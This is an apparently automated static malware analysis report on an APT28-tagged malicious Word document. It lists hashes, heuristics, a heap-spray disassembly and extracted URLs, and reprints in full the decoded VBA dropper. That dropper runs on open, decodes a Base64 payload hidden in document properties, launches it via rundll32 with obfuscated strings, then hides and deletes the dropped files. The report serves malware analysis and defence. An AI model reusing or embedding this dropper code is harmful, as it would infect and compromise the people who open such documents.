Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 efb2357768515026…

MALICIOUS

Office (OLE)

333.5 KB Created: 2017-10-03 01:36:00 Authoring application: Microsoft Office Word First seen: 2020-02-04
MD5: f52ea8f238e57e49bfae304bd656ad98 SHA-1: 169c8f3e3d22e192c108bc95164d362ce5437465 SHA-256: efb235776851502672dba5ef45d96cc65cb9ebba1b49949393a6a85b9c822f52
158 Risk Score
Tags
apt28

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1140 Deobfuscate or Obfuscate Malicious Code T1566.001 Spearphishing Attachment

The file contains legacy WordBasic macros, specifically an AutoOpen macro, which is a common technique for initial execution in older Office documents. The macro is designed to decode and execute a Base64 encoded payload, indicating a downloader or dropper functionality. The presence of a heap-spray pattern further suggests memory manipulation for exploit execution. While the specific family is not identifiable, the overall behavior points to a malicious document designed to deliver a second-stage payload.

Heuristics 7

  • ClamAV: Doc.Dropper.Agent-6347239-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6347239-0
  • Heap-spray pattern detected high SC_HEAP_SPRAY
    Repeated 0x41 (A) bytes found
    Disassembly
    Attempted x86 opcode disassembly
    00025459  41                inc ecx
0002545A  41                inc ecx
0002545B  41                inc ecx
0002545C  41                inc ecx
0002545D  41                inc ecx
0002545E  41                inc ecx
0002545F  41                inc ecx
00025460  41                inc ecx
00025461  41                inc ecx
00025462  41                inc ecx
00025463  41                inc ecx
00025464  41                inc ecx
00025465  41                inc ecx
00025466  41                inc ecx
00025467  41                inc ecx
00025468  41                inc ecx
00025469  41                inc ecx
0002546A  41                inc ecx
0002546B  41                inc ecx
0002546C  41                inc ecx
0002546D  41                inc ecx
0002546E  41                inc ecx
0002546F  41                inc ecx
00025470  41                inc ecx
00025471  41                inc ecx
00025472  41                inc ecx
00025473  41                inc ecx
00025474  41                inc ecx
00025475  41                inc ecx
00025476  41                inc ecx
00025477  41                inc ecx
00025478  41                inc ecx
00025479  41                inc ecx
0002547A  41                inc ecx
0002547B  41                inc ecx
0002547C  41                inc ecx
0002547D  41                inc ecx
0002547E  41                inc ecx
0002547F  41                inc ecx
00025480  41                inc ecx
00025481  41                inc ecx
00025482  41                inc ecx
00025483  41                inc ecx
00025484  41                inc ecx
00025485  41                inc ecx
00025486  41                inc ecx
00025487  41                inc ecx
00025488  41                inc ecx
00025489  41                inc ecx
0002548A  41                inc ecx
0002548B  41                inc ecx
0002548C  41                inc ecx
0002548D  41                inc ecx
0002548E  41                inc ecx
0002548F  41                inc ecx
00025490  41                inc ecx
00025491  41                inc ecx
00025492  41                inc ecx
00025493  41                inc ecx
00025494  41                inc ecx
00025495  41                inc ecx
00025496  41                inc ecx
00025497  41                inc ecx
00025498  41                inc ecx
00025499  41                inc ecx
0002549A  41                inc ecx
0002549B  41                inc ecx
0002549C  41                inc ecx
0002549D  41                inc ecx
0002549E  41                inc ecx
0002549F  41                inc ecx
000254A0  41                inc ecx
000254A1  41                inc ecx
000254A2  41                inc ecx
000254A3  41                inc ecx
000254A4  41                inc ecx
000254A5  41                inc ecx
000254A6  41                inc ecx
000254A7  41                inc ecx
000254A8  41                inc ecx
000254A9  41                inc ecx
000254AA  41                inc ecx
000254AB  41                inc ecx
000254AC  41                inc ecx
000254AD  41                inc ecx
000254AE  41                inc ecx
000254AF  41                inc ecx
000254B0  41                inc ecx
000254B1  41                inc ecx
000254B2  41                inc ecx
000254B3  41                inc ecx
000254B4  41                inc ecx
000254B5  41                inc ecx
000254B6  41                inc ecx
000254B7  41                inc ecx
000254B8  41                inc ecx
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "NewMacros"
Sub AutoOpen()
    Execute
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
        'save decoded file
    Path = Environ("LOCALAPPDATA") + "\" + "netwf" + ".dat"
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://ccdcoe.org/ In document text (OLE body)
    • http://cyber.army.mil/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/In document text (OLE body)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
    • http://purl.org/dc/elements/1.1/In document text (OLE body)
    • http://ns.adobe.com/photoshop/1.0/In document text (OLE body)
    • http://ns.adobe.com/tiff/1.0/In document text (OLE body)
    • http://ns.adobe.com/exif/1.0/In document text (OLE body)
    • http://www.iec.chIn document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/t/pg/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/Dimensions#In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/Font#In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/g/In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4429 bytes
SHA-256: da175d2a4c091734724f52fd0cb76273348d4c24f47149e7e9747d0e04b20625
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Sub AutoOpen()
    Execute
End Sub

Private Function DecodeBase64(base64) As Byte()
    Const decodeTable = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
          
    If 0 <> Len(base64) Mod 4 Then
        Exit Function
    End If
      
    outputLen = (Len(base64) / 4) * 3
    If "=" = Mid(base64, Len(base64), 1) Then
        outputLen = outputLen - 1
    End If
    If "=" = Mid(base64, Len(base64) - 1, 1) Then
        outputLen = outputLen - 1
    End If
      
    Dim decodedBytes() As Byte
    ReDim decodedBytes(outputLen - 1)
    outputIndex = 0
          
    For quartet = 1 To Len(base64) Step 4
        groupBase64Number = 0
        Const base = 64
        realBytesInThisGroup = 3
        For i = 0 To 3
           inputChar = Mid(base64, quartet + i, 1)
           indexInTable = 0
        
           If "=" = inputChar Then
                realBytesInThisGroup = realBytesInThisGroup - 1
           Else
                indexInTable = InStr(1, decodeTable, inputChar, vbBinaryCompare) - 1
           End If
                 
           If -1 = indexInTable Then
                Exit Function
           End If
             
           groupBase64Number = (groupBase64Number * base) + indexInTable
        Next
      
        groupBase64Number = Hex(groupBase64Number)
            
        'add leading zeroes, lengt of hex = 6:
         groupBase64Number = String(6 - Len(groupBase64Number), "0") & groupBase64Number
            
        'split hex number into 3 groups, 2 hex characters each:
        decodedBytes(outputIndex) = CByte("&H" & Mid(groupBase64Number, 1, 2))
        outputIndex = outputIndex + 1
        If realBytesInThisGroup > 1 Then
            decodedBytes(outputIndex) = CByte("&H" & Mid(groupBase64Number, 3, 2))
            outputIndex = outputIndex + 1
            If realBytesInThisGroup > 2 Then
                decodedBytes(outputIndex) = CByte("&H" & Mid(groupBase64Number, 5, 2))
                outputIndex = outputIndex + 1
            End If
        End If
    Next
      
    DecodeBase64 = decodedBytes
End Function
     
Private Sub Execute()
    Dim Path As String
    Dim FileNum As Long
    Dim bin() As Byte
    Dim cmdLine As String
    Const HIDDEN_WINDOW = 1
    strComputer = "."
    
    'extract and decode encoded file
    Subject = ActiveDocument.BuiltInDocumentProperties.Item("Subject")
    Subject = Right(Subject, Len(Subject) - 50)
    
    Company = ActiveDocument.BuiltInDocumentProperties.Item("Company")
    Company = Right(Company, Len(Company) - 50)
    
    Category = ActiveDocument.BuiltInDocumentProperties.Item("Category")
    Category = Right(Category, Len(Category) - 50)
    
    Hyperlink_base = ActiveDocument.BuiltInDocumentProperties.Item("Hyperlink base")
    Hyperlink_base = Right(Hyperlink_base, Len(Hyperlink_base) - 50)
    
    Comments = ActiveDocument.BuiltInDocumentProperties.Item("Comments")
    Comments = Right(Comments, Len(Comments) - 50)
    
    
    base64 = Subject + Company + Category + Hyperlink_base + Comments
    bin = DecodeBase64(base64)

    'save decoded file
    Path = Environ("LOCALAPPDATA") + "\" + "netwf" + ".dat"
    
    PathPld = Environ("LOCALAPPDATA") + "\" + "netwf" + ".dll"
    PathPldBt = Environ("LOCALAPPDATA") + "\" + "netwf" + ".bat"
    
    If Dir(PathPld, vbHidden) <> "" Then
        Exit Sub
    End If
    
    FileNum = FreeFile
    Open Path For Binary Access Write As #FileNum
    Put #FileNum, 1, bin
    Close #FileNum
        
    cmdLine = "C:\" + "###" + "Win" + "###" + "dow" + "###" + "s\Sy" + "###" + "ste" + "###" + "m32\" + "run" + "###" + "dll" + "32" + "#" + ".exe " + """" + Path + """" + "###" + ",KlpSvc"
    WordBasic.[Shell] Replace(cmdLine, "#", "")
    
    If Dir(PathPld) <> "" Then
       SetAttr PathPld, vbHidden
    End If
    
    If Dir(PathPldBt) <> "" Then
         SetAttr PathPldBt, vbHidden
    End If
    
    If Dir(Path) <> "" Then
         Kill Path
    End If

End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.